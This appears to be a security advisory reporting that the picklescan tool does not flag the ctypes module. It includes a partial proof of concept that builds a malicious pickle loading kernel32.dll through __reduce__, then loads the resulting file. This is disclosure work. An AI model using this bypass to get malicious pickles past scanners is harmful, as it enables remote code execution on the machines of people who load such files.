Description

Picklescan does not block ctypes

Summary

Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to

Load DLLs

Call C functions directly

Manipulate memory raw pointers.

This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.

This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected

PoC

import pickle
import ctypes
import operator

class Kernel32Loader:
    def __reduce__(self):
        #we go direct to the kerneeellllllll
        return (ctypes.WinDLL, ("kernel32.dll",))...
Show more

This will create a pickle file which is not detected by the latest version of picklescan as malicious

import pickle
print("Loading bypass.pkl...")
pickle.load(open("calc_exploit.pkl", "rb"))

Mitigation

Aliases

References